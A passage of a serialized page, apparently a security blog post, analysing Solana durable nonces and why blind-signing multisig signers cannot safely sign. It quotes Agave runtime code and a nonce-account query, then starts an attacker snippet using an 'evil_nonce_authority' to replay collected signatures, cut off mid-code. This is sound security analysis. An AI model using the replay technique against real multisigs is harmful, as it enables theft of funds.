",{"type":24,"tag":37,"props":71078,"children":71081},{"href":71079,"rel":71080},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L104",[41],[71082],{"type":30,"value":71083},"for recent blockhash validation",{"type":30,"value":71085},", we can also see the handling for durable nonces.",{"type":24,"tag":920,"props":71087,"children":71089},{"className":6102,"code":71088,"language":6101,"meta":7,"style":7},"    let recent_blockhash = tx.message().recent_blockhash();\n    if let Some(hash_info) = hash_queue.get_hash_info_if_valid(recent_blockhash, max_age) {\n        Ok(CheckedTransactionDetails {\n            nonce: None,\n            lamports_per_signature: hash_info.lamports_per_signature(),\n        })\n    } else if let Some((nonce, previous_lamports_per_signature)) = self\n        .check_load_and_advance_message_nonce_account(\n            tx.message(),\n            next_durable_nonce,\n            next_lamports_per_signature,\n        )\n    {\n        Ok(CheckedTransactionDetails {\n            nonce: Some(nonce),\n            lamports_per_signature: previous_lamports_per_signature,\n        })\n    } else {\n        error_counters.blockhash_not_found += 1;\n        Err(TransactionError::BlockhashNotFound)\n    }\n",[71090],{"type":24,"tag":156,"props":71091,"children":71092},{"__ignoreMap":7},[71093,71140,71206,71226,71246,71276,71284,71338,71355,71375,71387,71399,71407,71414,71433,71460,71480,71487,71502,71531,71560],{"type":24,"tag":930,"props":71094,"children":71095},{"class":932,"line":933},[71096,71100,71105,71109,71114,71118,71123,71127,71131,71136],{"type":24,"tag":930,"props":71097,"children":71098},{"style":937},[71099],{"type":30,"value":6122},{"type":24,"tag":930,"props":71101,"children":71102},{"style":1023},[71103],{"type":30,"value":71104}," recent_blockhash",{"type":24,"tag":930,"props":71106,"children":71107},{"style":1158},[71108],{"type":30,"value":6137},{"type":24,"tag":930,"props":71110,"children":71111},{"style":1023},[71112],{"type":30,"value":71113}," tx",{"type":24,"tag":930,"props":71115,"children":71116},{"style":1158},[71117],{"type":30,"value":436},{"type":24,"tag":930,"props":71119,"children":71120},{"style":1002},[71121],{"type":30,"value":71122},"message",{"type":24,"tag":930,"props":71124,"children":71125},{"style":959},[71126],{"type":30,"value":16986},{"type":24,"tag":930,"props":71128,"children":71129},{"style":1158},[71130],{"type":30,"value":436},{"type":24,"tag":930,"props":71132,"children":71133},{"style":1002},[71134],{"type":30,"value":71135},"recent_blockhash",{"type":24,"tag":930,"props":71137,"children":71138},{"style":959},[71139],{"type":30,"value":1310},{"type":24,"tag":930,"props":71141,"children":71142},{"class":932,"line":984},[71143,71147,71151,71155,71159,71164,71168,71172,71177,71181,71186,71190,71194,71198,71202],{"type":24,"tag":930,"props":71144,"children":71145},{"style":1079},[71146],{"type":30,"value":15386},{"type":24,"tag":930,"props":71148,"children":71149},{"style":937},[71150],{"type":30,"value":30397},{"type":24,"tag":930,"props":71152,"children":71153},{"style":943},[71154],{"type":30,"value":30402},{"type":24,"tag":930,"props":71156,"children":71157},{"style":959},[71158],{"type":30,"value":1010},{"type":24,"tag":930,"props":71160,"children":71161},{"style":1023},[71162],{"type":30,"value":71163},"hash_info",{"type":24,"tag":930,"props":71165,"children":71166},{"style":959},[71167],{"type":30,"value":5579},{"type":24,"tag":930,"props":71169,"children":71170},{"style":1158},[71171],{"type":30,"value":1161},{"type":24,"tag":930,"props":71173,"children":71174},{"style":1023},[71175],{"type":30,"value":71176}," hash_queue",{"type":24,"tag":930,"props":71178,"children":71179},{"style":1158},[71180],{"type":30,"value":436},{"type":24,"tag":930,"props":71182,"children":71183},{"style":1002},[71184],{"type":30,"value":71185},"get_hash_info_if_valid",{"type":24,"tag":930,"props":71187,"children":71188},{"style":959},[71189],{"type":30,"value":1010},{"type":24,"tag":930,"props":71191,"children":71192},{"style":1023},[71193],{"type":30,"value":71135},{"type":24,"tag":930,"props":71195,"children":71196},{"style":959},[71197],{"type":30,"value":962},{"type":24,"tag":930,"props":71199,"children":71200},{"style":1023},[71201],{"type":30,"value":70926},{"type":24,"tag":930,"props":71203,"children":71204},{"style":959},[71205],{"type":30,"value":1503},{"type":24,"tag":930,"props":71207,"children":71208},{"class":932,"line":993},[71209,71213,71217,71222],{"type":24,"tag":930,"props":71210,"children":71211},{"style":943},[71212],{"type":30,"value":17915},{"type":24,"tag":930,"props":71214,"children":71215},{"style":959},[71216],{"type":30,"value":1010},{"type":24,"tag":930,"props":71218,"children":71219},{"style":943},[71220],{"type":30,"value":71221},"CheckedTransactionDetails",{"type":24,"tag":930,"props":71223,"children":71224},{"style":959},[71225],{"type":30,"value":981},{"type":24,"tag":930,"props":71227,"children":71228},{"class":932,"line":1057},[71229,71234,71238,71242],{"type":24,"tag":930,"props":71230,"children":71231},{"style":1023},[71232],{"type":30,"value":71233},"            nonce",{"type":24,"tag":930,"props":71235,"children":71236},{"style":1158},[71237],{"type":30,"value":476},{"type":24,"tag":930,"props":71239,"children":71240},{"style":943},[71241],{"type":30,"value":30850},{"type":24,"tag":930,"props":71243,"children":71244},{"style":959},[71245],{"type":30,"value":2832},{"type":24,"tag":930,"props":71247,"children":71248},{"class":932,"line":1066},[71249,71254,71258,71263,71267,71272],{"type":24,"tag":930,"props":71250,"children":71251},{"style":1023},[71252],{"type":30,"value":71253},"            lamports_per_signature",{"type":24,"tag":930,"props":71255,"children":71256},{"style":1158},[71257],{"type":30,"value":476},{"type":24,"tag":930,"props":71259,"children":71260},{"style":1023},[71261],{"type":30,"value":71262}," hash_info",{"type":24,"tag":930,"props":71264,"children":71265},{"style":1158},[71266],{"type":30,"value":436},{"type":24,"tag":930,"props":71268,"children":71269},{"style":1002},[71270],{"type":30,"value":71271},"lamports_per_signature",{"type":24,"tag":930,"props":71273,"children":71274},{"style":959},[71275],{"type":30,"value":6607},{"type":24,"tag":930,"props":71277,"children":71278},{"class":932,"line":1075},[71279],{"type":24,"tag":930,"props":71280,"children":71281},{"style":959},[71282],{"type":30,"value":71283},"        })\n",{"type":24,"tag":930,"props":71285,"children":71286},{"class":932,"line":1122},[71287,71291,71295,71299,71303,71307,71311,71316,71320,71325,71329,71333],{"type":24,"tag":930,"props":71288,"children":71289},{"style":959},[71290],{"type":30,"value":18882},{"type":24,"tag":930,"props":71292,"children":71293},{"style":1079},[71294],{"type":30,"value":2317},{"type":24,"tag":930,"props":71296,"children":71297},{"style":1079},[71298],{"type":30,"value":2322},{"type":24,"tag":930,"props":71300,"children":71301},{"style":937},[71302],{"type":30,"value":30397},{"type":24,"tag":930,"props":71304,"children":71305},{"style":943},[71306],{"type":30,"value":30402},{"type":24,"tag":930,"props":71308,"children":71309},{"style":959},[71310],{"type":30,"value":34615},{"type":24,"tag":930,"props":71312,"children":71313},{"style":1023},[71314],{"type":30,"value":71315},"nonce",{"type":24,"tag":930,"props":71317,"children":71318},{"style":959},[71319],{"type":30,"value":962},{"type":24,"tag":930,"props":71321,"children":71322},{"style":1023},[71323],{"type":30,"value":71324},"previous_lamports_per_signature",{"type":24,"tag":930,"props":71326,"children":71327},{"style":959},[71328],{"type":30,"value":11946},{"type":24,"tag":930,"props":71330,"children":71331},{"style":1158},[71332],{"type":30,"value":1161},{"type":24,"tag":930,"props":71334,"children":71335},{"style":937},[71336],{"type":30,"value":71337}," self\n",{"type":24,"tag":930,"props":71339,"children":71340},{"class":932,"line":1131},[71341,71346,71351],{"type":24,"tag":930,"props":71342,"children":71343},{"style":1158},[71344],{"type":30,"value":71345},"        .",{"type":24,"tag":930,"props":71347,"children":71348},{"style":1002},[71349],{"type":30,"value":71350},"check_load_and_advance_message_nonce_account",{"type":24,"tag":930,"props":71352,"children":71353},{"style":959},[71354],{"type":30,"value":2814},{"type":24,"tag":930,"props":71356,"children":71357},{"class":932,"line":1144},[71358,71363,71367,71371],{"type":24,"tag":930,"props":71359,"children":71360},{"style":1023},[71361],{"type":30,"value":71362},"            tx",{"type":24,"tag":930,"props":71364,"children":71365},{"style":1158},[71366],{"type":30,"value":436},{"type":24,"tag":930,"props":71368,"children":71369},{"style":1002},[71370],{"type":30,"value":71122},{"type":24,"tag":930,"props":71372,"children":71373},{"style":959},[71374],{"type":30,"value":6607},{"type":24,"tag":930,"props":71376,"children":71377},{"class":932,"line":1169},[71378,71383],{"type":24,"tag":930,"props":71379,"children":71380},{"style":1023},[71381],{"type":30,"value":71382},"            next_durable_nonce",{"type":24,"tag":930,"props":71384,"children":71385},{"style":959},[71386],{"type":30,"value":2832},{"type":24,"tag":930,"props":71388,"children":71389},{"class":932,"line":1191},[71390,71395],{"type":24,"tag":930,"props":71391,"children":71392},{"style":1023},[71393],{"type":30,"value":71394},"            next_lamports_per_signature",{"type":24,"tag":930,"props":71396,"children":71397},{"style":959},[71398],{"type":30,"value":2832},{"type":24,"tag":930,"props":71400,"children":71401},{"class":932,"line":1223},[71402],{"type":24,"tag":930,"props":71403,"children":71404},{"style":959},[71405],{"type":30,"value":71406},"        )\n",{"type":24,"tag":930,"props":71408,"children":71409},{"class":932,"line":1281},[71410],{"type":24,"tag":930,"props":71411,"children":71412},{"style":959},[71413],{"type":30,"value":1128},{"type":24,"tag":930,"props":71415,"children":71416},{"class":932,"line":1313},[71417,71421,71425,71429],{"type":24,"tag":930,"props":71418,"children":71419},{"style":943},[71420],{"type":30,"value":17915},{"type":24,"tag":930,"props":71422,"children":71423},{"style":959},[71424],{"type":30,"value":1010},{"type":24,"tag":930,"props":71426,"children":71427},{"style":943},[71428],{"type":30,"value":71221},{"type":24,"tag":930,"props":71430,"children":71431},{"style":959},[71432],{"type":30,"value":981},{"type":24,"tag":930,"props":71434,"children":71435},{"class":932,"line":1335},[71436,71440,71444,71448,71452,71456],{"type":24,"tag":930,"props":71437,"children":71438},{"style":1023},[71439],{"type":30,"value":71233},{"type":24,"tag":930,"props":71441,"children":71442},{"style":1158},[71443],{"type":30,"value":476},{"type":24,"tag":930,"props":71445,"children":71446},{"style":943},[71447],{"type":30,"value":30402},{"type":24,"tag":930,"props":71449,"children":71450},{"style":959},[71451],{"type":30,"value":1010},{"type":24,"tag":930,"props":71453,"children":71454},{"style":1023},[71455],{"type":30,"value":71315},{"type":24,"tag":930,"props":71457,"children":71458},{"style":959},[71459],{"type":30,"value":9848},{"type":24,"tag":930,"props":71461,"children":71462},{"class":932,"line":1376},[71463,71467,71471,71476],{"type":24,"tag":930,"props":71464,"children":71465},{"style":1023},[71466],{"type":30,"value":71253},{"type":24,"tag":930,"props":71468,"children":71469},{"style":1158},[71470],{"type":30,"value":476},{"type":24,"tag":930,"props":71472,"children":71473},{"style":1023},[71474],{"type":30,"value":71475}," previous_lamports_per_signature",{"type":24,"tag":930,"props":71477,"children":71478},{"style":959},[71479],{"type":30,"value":2832},{"type":24,"tag":930,"props":71481,"children":71482},{"class":932,"line":1418},[71483],{"type":24,"tag":930,"props":71484,"children":71485},{"style":959},[71486],{"type":30,"value":71283},{"type":24,"tag":930,"props":71488,"children":71489},{"class":932,"line":1438},[71490,71494,71498],{"type":24,"tag":930,"props":71491,"children":71492},{"style":959},[71493],{"type":30,"value":18882},{"type":24,"tag":930,"props":71495,"children":71496},{"style":1079},[71497],{"type":30,"value":2317},{"type":24,"tag":930,"props":71499,"children":71500},{"style":959},[71501],{"type":30,"value":981},{"type":24,"tag":930,"props":71503,"children":71504},{"class":932,"line":1479},[71505,71510,71514,71519,71523,71527],{"type":24,"tag":930,"props":71506,"children":71507},{"style":1023},[71508],{"type":30,"value":71509},"        error_counters",{"type":24,"tag":930,"props":71511,"children":71512},{"style":1158},[71513],{"type":30,"value":436},{"type":24,"tag":930,"props":71515,"children":71516},{"style":959},[71517],{"type":30,"value":71518},"blockhash_not_found ",{"type":24,"tag":930,"props":71520,"children":71521},{"style":1158},[71522],{"type":30,"value":1684},{"type":24,"tag":930,"props":71524,"children":71525},{"style":1242},[71526],{"type":30,"value":7637},{"type":24,"tag":930,"props":71528,"children":71529},{"style":959},[71530],{"type":30,"value":5539},{"type":24,"tag":930,"props":71532,"children":71533},{"class":932,"line":1506},[71534,71538,71542,71547,71551,71556],{"type":24,"tag":930,"props":71535,"children":71536},{"style":943},[71537],{"type":30,"value":17958},{"type":24,"tag":930,"props":71539,"children":71540},{"style":959},[71541],{"type":30,"value":1010},{"type":24,"tag":930,"props":71543,"children":71544},{"style":943},[71545],{"type":30,"value":71546},"TransactionError",{"type":24,"tag":930,"props":71548,"children":71549},{"style":1158},[71550],{"type":30,"value":6597},{"type":24,"tag":930,"props":71552,"children":71553},{"style":943},[71554],{"type":30,"value":71555},"BlockhashNotFound",{"type":24,"tag":930,"props":71557,"children":71558},{"style":959},[71559],{"type":30,"value":1054},{"type":24,"tag":930,"props":71561,"children":71562},{"class":932,"line":1525},[71563],{"type":24,"tag":930,"props":71564,"children":71565},{"style":959},[71566],{"type":30,"value":1840},{"type":24,"tag":33,"props":71568,"children":71569},{},[71570],{"type":30,"value":71571},"The documentation does a good job of explaining how they work.",{"type":24,"tag":6054,"props":71573,"children":71574},{},[71575],{"type":24,"tag":33,"props":71576,"children":71577},{},[71578],{"type":30,"value":71579},"Durable Transaction Nonces, which are 32-byte in length (usually represented as base58 encoded strings), are used in place of recent blockhashes to make every transaction unique (to avoid double-spending) while removing the mortality on the unexecuted transaction.",{"type":24,"tag":33,"props":71581,"children":71582},{},[71583,71585,71592],{"type":30,"value":71584},"Durable nonces are created and managed ",{"type":24,"tag":37,"props":71586,"children":71589},{"href":71587,"rel":71588},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/programs/system/src/system_processor.rs#L446",[41],[71590],{"type":30,"value":71591},"by the system program",{"type":30,"value":71593},". They don't have a fixed PDA, so each account can have multiple associated nonces.",{"type":24,"tag":33,"props":71595,"children":71596},{},[71597,71599,71606],{"type":30,"value":71598},"After a durable nonce is used, it'll be \"advanced\" to preventing replay attacks. The new nonce is calculated ",{"type":24,"tag":37,"props":71600,"children":71603},{"href":71601,"rel":71602},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L81",[41],[71604],{"type":30,"value":71605},"based on the current blockhash",{"type":30,"value":71607},", and cannot be predicted in advance.",{"type":24,"tag":920,"props":71609,"children":71611},{"className":6102,"code":71610,"language":6101,"meta":7,"style":7},"    let hash_queue = self.blockhash_queue.read().unwrap();\n    let last_blockhash = hash_queue.last_hash();\n    let next_durable_nonce = DurableNonce::from_blockhash(&last_blockhash);\n",[71612],{"type":24,"tag":156,"props":71613,"children":71614},{"__ignoreMap":7},[71615,71667,71700],{"type":24,"tag":930,"props":71616,"children":71617},{"class":932,"line":933},[71618,71622,71626,71630,71634,71638,71643,71647,71651,71655,71659,71663],{"type":24,"tag":930,"props":71619,"children":71620},{"style":937},[71621],{"type":30,"value":6122},{"type":24,"tag":930,"props":71623,"children":71624},{"style":1023},[71625],{"type":30,"value":71176},{"type":24,"tag":930,"props":71627,"children":71628},{"style":1158},[71629],{"type":30,"value":6137},{"type":24,"tag":930,"props":71631,"children":71632},{"style":937},[71633],{"type":30,"value":16904},{"type":24,"tag":930,"props":71635,"children":71636},{"style":1158},[71637],{"type":30,"value":436},{"type":24,"tag":930,"props":71639,"children":71640},{"style":959},[71641],{"type":30,"value":71642},"blockhash_queue",{"type":24,"tag":930,"props":71644,"children":71645},{"style":1158},[71646],{"type":30,"value":436},{"type":24,"tag":930,"props":71648,"children":71649},{"style":1002},[71650],{"type":30,"value":63727},{"type":24,"tag":930,"props":71652,"children":71653},{"style":959},[71654],{"type":30,"value":16986},{"type":24,"tag":930,"props":71656,"children":71657},{"style":1158},[71658],{"type":30,"value":436},{"type":24,"tag":930,"props":71660,"children":71661},{"style":1002},[71662],{"type":30,"value":6781},{"type":24,"tag":930,"props":71664,"children":71665},{"style":959},[71666],{"type":30,"value":1310},{"type":24,"tag":930,"props":71668,"children":71669},{"class":932,"line":984},[71670,71674,71679,71683,71687,71691,71696],{"type":24,"tag":930,"props":71671,"children":71672},{"style":937},[71673],{"type":30,"value":6122},{"type":24,"tag":930,"props":71675,"children":71676},{"style":1023},[71677],{"type":30,"value":71678}," last_blockhash",{"type":24,"tag":930,"props":71680,"children":71681},{"style":1158},[71682],{"type":30,"value":6137},{"type":24,"tag":930,"props":71684,"children":71685},{"style":1023},[71686],{"type":30,"value":71176},{"type":24,"tag":930,"props":71688,"children":71689},{"style":1158},[71690],{"type":30,"value":436},{"type":24,"tag":930,"props":71692,"children":71693},{"style":1002},[71694],{"type":30,"value":71695},"last_hash",{"type":24,"tag":930,"props":71697,"children":71698},{"style":959},[71699],{"type":30,"value":1310},{"type":24,"tag":930,"props":71701,"children":71702},{"class":932,"line":993},[71703,71707,71712,71716,71721,71725,71730,71734,71738,71743],{"type":24,"tag":930,"props":71704,"children":71705},{"style":937},[71706],{"type":30,"value":6122},{"type":24,"tag":930,"props":71708,"children":71709},{"style":1023},[71710],{"type":30,"value":71711}," next_durable_nonce",{"type":24,"tag":930,"props":71713,"children":71714},{"style":1158},[71715],{"type":30,"value":6137},{"type":24,"tag":930,"props":71717,"children":71718},{"style":943},[71719],{"type":30,"value":71720}," DurableNonce",{"type":24,"tag":930,"props":71722,"children":71723},{"style":1158},[71724],{"type":30,"value":6597},{"type":24,"tag":930,"props":71726,"children":71727},{"style":1002},[71728],{"type":30,"value":71729},"from_blockhash",{"type":24,"tag":930,"props":71731,"children":71732},{"style":959},[71733],{"type":30,"value":1010},{"type":24,"tag":930,"props":71735,"children":71736},{"style":1158},[71737],{"type":30,"value":6230},{"type":24,"tag":930,"props":71739,"children":71740},{"style":1023},[71741],{"type":30,"value":71742},"last_blockhash",{"type":24,"tag":930,"props":71744,"children":71745},{"style":959},[71746],{"type":30,"value":1278},{"type":24,"tag":33,"props":71748,"children":71749},{},[71750,71752,71757],{"type":30,"value":71751},"This has an important consequence for our threat model. Unlike recent blockhash transactions, durable nonce transactions ",{"type":24,"tag":6032,"props":71753,"children":71754},{},[71755],{"type":30,"value":71756},"can",{"type":30,"value":71758}," be saved and reused.",{"type":24,"tag":68,"props":71760,"children":71762},{"id":71761},"threat-model",[71763],{"type":30,"value":71764},"Threat Model",{"type":24,"tag":33,"props":71766,"children":71767},{},[71768],{"type":30,"value":71769},"Let's consider a simplified form of the original question.",{"type":24,"tag":478,"props":71771,"children":71772},{},[71773,71778,71783],{"type":24,"tag":100,"props":71774,"children":71775},{},[71776],{"type":30,"value":71777},"We have a N/M multisig",{"type":24,"tag":100,"props":71779,"children":71780},{},[71781],{"type":30,"value":71782},"Signers are unable to see what they're signing, both with respect to content and quantity of signatures. This is roughly equivalent to blind signing transactions.",{"type":24,"tag":100,"props":71784,"children":71785},{},[71786],{"type":30,"value":71787},"We can accurately query chain state.",{"type":24,"tag":33,"props":71789,"children":71790},{},[71791],{"type":30,"value":71792},"Can we safely sign transactions?",{"type":24,"tag":33,"props":71794,"children":71795},{},[71796],{"type":30,"value":71797},"One observation is that this problem is very hard to solve with durable nonces. By signing durable nonce transactions, an attacker could collect signatures and replay them at some indeterminite future point.",{"type":24,"tag":33,"props":71799,"children":71800},{},[71801,71803,71809,71811,71818],{"type":30,"value":71802},"Durable nonces require an onchain account, and it's possible to use a ",{"type":24,"tag":156,"props":71804,"children":71806},{"className":71805},[],[71807],{"type":30,"value":71808},"getProgramAccounts",{"type":30,"value":71810}," call to validate if your signer ",{"type":24,"tag":37,"props":71812,"children":71815},{"href":71813,"rel":71814},"https://solana.stackexchange.com/questions/9650/is-there-any-way-to-get-nonce-accounts-of-an-authorized-account",[41],[71816],{"type":30,"value":71817},"has an associated durable nonce",{"type":30,"value":436},{"type":24,"tag":920,"props":71820,"children":71822},{"className":39018,"code":71821,"language":39020,"meta":7,"style":7},"const connection = new Connection(clusterApiUrl('testnet'));\nconst nonceAccounts = await connection.getProgramAccounts(\n  // The system program owns all nonce accounts.\n  SYSTEM_PROGRAM_ADDRESS,\n  {\n    filters: [\n      {\n        // Nonce accounts are exactly 80 bytes long\n        dataSize: 80,\n      },\n      {\n        // The authority's 32-byte public key is written\n        // into bytes 8-40 of the nonce's account data.\n        memcmp: {\n          bytes: AUTHORITY_PUBLIC_KEY.toBase58(),\n          offset: 8,\n        },\n      },\n    ],\n  }\n);\n",[71823],{"type":24,"tag":156,"props":71824,"children":71825},{"__ignoreMap":7},[71826,71873,71909,71917,71929,71937,71949,71957,71965,71982,71989,71996,72004,72012,72024,72050,72067,72074,72081,72089,72096],{"type":24,"tag":930,"props":71827,"children":71828},{"class":932,"line":933},[71829,71833,71838,71842,71846,71851,71855,71860,71864,71869],{"type":24,"tag":930,"props":71830,"children":71831},{"style":937},[71832],{"type":30,"value":12762},{"type":24,"tag":930,"props":71834,"children":71835},{"style":1023},[71836],{"type":30,"value":71837}," connection",{"type":24,"tag":930,"props":71839,"children":71840},{"style":1158},[71841],{"type":30,"value":6137},{"type":24,"tag":930,"props":71843,"children":71844},{"style":937},[71845],{"type":30,"value":35023},{"type":24,"tag":930,"props":71847,"children":71848},{"style":1002},[71849],{"type":30,"value":71850}," Connection",{"type":24,"tag":930,"props":71852,"children":71853},{"style":959},[71854],{"type":30,"value":1010},{"type":24,"tag":930,"props":71856,"children":71857},{"style":1002},[71858],{"type":30,"value":71859},"clusterApiUrl",{"type":24,"tag":930,"props":71861,"children":71862},{"style":959},[71863],{"type":30,"value":1010},{"type":24,"tag":930,"props":71865,"children":71866},{"style":1270},[71867],{"type":30,"value":71868},"'testnet'",{"type":24,"tag":930,"props":71870,"children":71871},{"style":959},[71872],{"type":30,"value":2058},{"type":24,"tag":930,"props":71874,"children":71875},{"class":932,"line":984},[71876,71880,71885,71889,71893,71897,71901,71905],{"type":24,"tag":930,"props":71877,"children":71878},{"style":937},[71879],{"type":30,"value":12762},{"type":24,"tag":930,"props":71881,"children":71882},{"style":1023},[71883],{"type":30,"value":71884}," nonceAccounts",{"type":24,"tag":930,"props":71886,"children":71887},{"style":1158},[71888],{"type":30,"value":6137},{"type":24,"tag":930,"props":71890,"children":71891},{"style":1079},[71892],{"type":30,"value":39299},{"type":24,"tag":930,"props":71894,"children":71895},{"style":1023},[71896],{"type":30,"value":71837},{"type":24,"tag":930,"props":71898,"children":71899},{"style":959},[71900],{"type":30,"value":436},{"type":24,"tag":930,"props":71902,"children":71903},{"style":1002},[71904],{"type":30,"value":71808},{"type":24,"tag":930,"props":71906,"children":71907},{"style":959},[71908],{"type":30,"value":2814},{"type":24,"tag":930,"props":71910,"children":71911},{"class":932,"line":993},[71912],{"type":24,"tag":930,"props":71913,"children":71914},{"style":1422},[71915],{"type":30,"value":71916},"  // The system program owns all nonce accounts.\n",{"type":24,"tag":930,"props":71918,"children":71919},{"class":932,"line":1057},[71920,71925],{"type":24,"tag":930,"props":71921,"children":71922},{"style":1023},[71923],{"type":30,"value":71924},"  SYSTEM_PROGRAM_ADDRESS",{"type":24,"tag":930,"props":71926,"children":71927},{"style":959},[71928],{"type":30,"value":2832},{"type":24,"tag":930,"props":71930,"children":71931},{"class":932,"line":1066},[71932],{"type":24,"tag":930,"props":71933,"children":71934},{"style":959},[71935],{"type":30,"value":71936},"  {\n",{"type":24,"tag":930,"props":71938,"children":71939},{"class":932,"line":1075},[71940,71945],{"type":24,"tag":930,"props":71941,"children":71942},{"style":1023},[71943],{"type":30,"value":71944},"    filters:",{"type":24,"tag":930,"props":71946,"children":71947},{"style":959},[71948],{"type":30,"value":28713},{"type":24,"tag":930,"props":71950,"children":71951},{"class":932,"line":1122},[71952],{"type":24,"tag":930,"props":71953,"children":71954},{"style":959},[71955],{"type":30,"value":71956},"      {\n",{"type":24,"tag":930,"props":71958,"children":71959},{"class":932,"line":1131},[71960],{"type":24,"tag":930,"props":71961,"children":71962},{"style":1422},[71963],{"type":30,"value":71964},"        // Nonce accounts are exactly 80 bytes long\n",{"type":24,"tag":930,"props":71966,"children":71967},{"class":932,"line":1144},[71968,71973,71978],{"type":24,"tag":930,"props":71969,"children":71970},{"style":1023},[71971],{"type":30,"value":71972},"        dataSize:",{"type":24,"tag":930,"props":71974,"children":71975},{"style":1242},[71976],{"type":30,"value":71977}," 80",{"type":24,"tag":930,"props":71979,"children":71980},{"style":959},[71981],{"type":30,"value":2832},{"type":24,"tag":930,"props":71983,"children":71984},{"class":932,"line":1169},[71985],{"type":24,"tag":930,"props":71986,"children":71987},{"style":959},[71988],{"type":30,"value":40287},{"type":24,"tag":930,"props":71990,"children":71991},{"class":932,"line":1191},[71992],{"type":24,"tag":930,"props":71993,"children":71994},{"style":959},[71995],{"type":30,"value":71956},{"type":24,"tag":930,"props":71997,"children":71998},{"class":932,"line":1223},[71999],{"type":24,"tag":930,"props":72000,"children":72001},{"style":1422},[72002],{"type":30,"value":72003},"        // The authority's 32-byte public key is written\n",{"type":24,"tag":930,"props":72005,"children":72006},{"class":932,"line":1281},[72007],{"type":24,"tag":930,"props":72008,"children":72009},{"style":1422},[72010],{"type":30,"value":72011},"        // into bytes 8-40 of the nonce's account data.\n",{"type":24,"tag":930,"props":72013,"children":72014},{"class":932,"line":1313},[72015,72020],{"type":24,"tag":930,"props":72016,"children":72017},{"style":1023},[72018],{"type":30,"value":72019},"        memcmp:",{"type":24,"tag":930,"props":72021,"children":72022},{"style":959},[72023],{"type":30,"value":981},{"type":24,"tag":930,"props":72025,"children":72026},{"class":932,"line":1335},[72027,72032,72037,72041,72046],{"type":24,"tag":930,"props":72028,"children":72029},{"style":1023},[72030],{"type":30,"value":72031},"          bytes:",{"type":24,"tag":930,"props":72033,"children":72034},{"style":1023},[72035],{"type":30,"value":72036}," AUTHORITY_PUBLIC_KEY",{"type":24,"tag":930,"props":72038,"children":72039},{"style":959},[72040],{"type":30,"value":436},{"type":24,"tag":930,"props":72042,"children":72043},{"style":1002},[72044],{"type":30,"value":72045},"toBase58",{"type":24,"tag":930,"props":72047,"children":72048},{"style":959},[72049],{"type":30,"value":6607},{"type":24,"tag":930,"props":72051,"children":72052},{"class":932,"line":1376},[72053,72058,72063],{"type":24,"tag":930,"props":72054,"children":72055},{"style":1023},[72056],{"type":30,"value":72057},"          offset:",{"type":24,"tag":930,"props":72059,"children":72060},{"style":1242},[72061],{"type":30,"value":72062}," 8",{"type":24,"tag":930,"props":72064,"children":72065},{"style":959},[72066],{"type":30,"value":2832},{"type":24,"tag":930,"props":72068,"children":72069},{"class":932,"line":1418},[72070],{"type":24,"tag":930,"props":72071,"children":72072},{"style":959},[72073],{"type":30,"value":28465},{"type":24,"tag":930,"props":72075,"children":72076},{"class":932,"line":1438},[72077],{"type":24,"tag":930,"props":72078,"children":72079},{"style":959},[72080],{"type":30,"value":40287},{"type":24,"tag":930,"props":72082,"children":72083},{"class":932,"line":1479},[72084],{"type":24,"tag":930,"props":72085,"children":72086},{"style":959},[72087],{"type":30,"value":72088},"    ],\n",{"type":24,"tag":930,"props":72090,"children":72091},{"class":932,"line":1506},[72092],{"type":24,"tag":930,"props":72093,"children":72094},{"style":959},[72095],{"type":30,"value":8984},{"type":24,"tag":930,"props":72097,"children":72098},{"class":932,"line":1525},[72099],{"type":24,"tag":930,"props":72100,"children":72101},{"style":959},[72102],{"type":30,"value":1278},{"type":24,"tag":33,"props":72104,"children":72105},{},[72106,72108,72116],{"type":30,"value":72107},"Unfortunately this is not sufficient",{"type":24,"tag":18577,"props":72109,"children":72110},{},[72111],{"type":24,"tag":37,"props":72112,"children":72114},{"href":32714,"ariaDescribedBy":72113,"dataFootnoteRef":7,"id":32716},[18584],[72115],{"type":30,"value":7129},{"type":30,"value":72117},". A transaction may have multiple signers, and an attacker could use their own durable nonce fee-payer. This means our problem as defined above is unfortunately unsolvable.",{"type":24,"tag":920,"props":72119,"children":72121},{"className":6102,"code":72120,"language":6101,"meta":7,"style":7},"    let instruction = system_instruction::transfer(&from, &ledger_base_pubkey, 42);\n    let message =\n        Message::new_with_nonce(vec![instruction], Some(&evil_nonce_authority), &nonce_account, &evil_nonce_authority)\n            .serialize();\n",[72122],{"type":24,"tag":156,"props":72123,"children":72124},{"__ignoreMap":7},[72125,72191,72207,72290],{"type":24,"tag":930,"props":72126,"children":72127},{"class":932,"line":933},[72128,72132,72136,72140,72145,72149,72153,72157,72161,72165,72169,72173,72178,72182,72187],{"type":24,"tag":930,"props":72129,"children":72130},{"style":937},[72131],{"type":30,"value":6122},{"type":24,"tag":930,"props":72133,"children":72134},{"style":1023},[72135],{"type":30,"value":46459},{"type":24,"tag":930,"props":72137,"children":72138},{"style":1158},[72139],{"type":30,"value":6137},{"type":24,"tag":930,"props":72141,"children":72142},{"style":959},[72143],{"type":30,"value":72144}," system_instruction",{"type":24,"tag":930,"props":72146,"children":72147},{"style":1158},[72148],{"type":30,"value":6597},{"type":24,"tag":930,"props":72150,"children":72151},{"style":1002},[72152],{"type":30,"value":35213},{"type":24,"tag":930,"props":72154,"children":72155},{"style":959},[72156],{"type":30,"value":1010},{"type":24,"tag":930,"props":72158,"children":72159},{"style":1158},[72160],{"type":30,"value":6230},{"type":24,"tag":930,"props":72162,"children":72163},{"style":1023},[72164],{"type":30,"value":22576},{"type":24,"tag":930,"props":72166,"children":72167},{"style":959},[72168],{"type":30,"value":962},{"type":24,"tag":930,"props":72170,"children":72171},{"style":1158},[72172],{"type":30,"value":6230},{"type":24,"tag":930,"props":72174,"children":72175},{"style":1023},[72176],{"type":30,"value":72177},"ledger_base_pubkey",{"type":24,"tag":930,"props":72179,"children":72180},{"style":959},[72181],{"type":30,"value":962},{"type":24,"tag":930,"props":72183,"children":72184},{"style":1242},[72185],{"type":30,"value":72186},"42",{"type":24,"tag":930,"props":72188,"children":72189},{"style":959},[72190],{"type":30,"value":1278},{"type":24,"tag":930,"props":72192,"children":72193},{"class":932,"line":984},[72194,72198,72203],{"type":24,"tag":930,"props":72195,"children":72196},{"style":937},[72197],{"type":30,"value":6122},{"type":24,"tag":930,"props":72199,"children":72200},{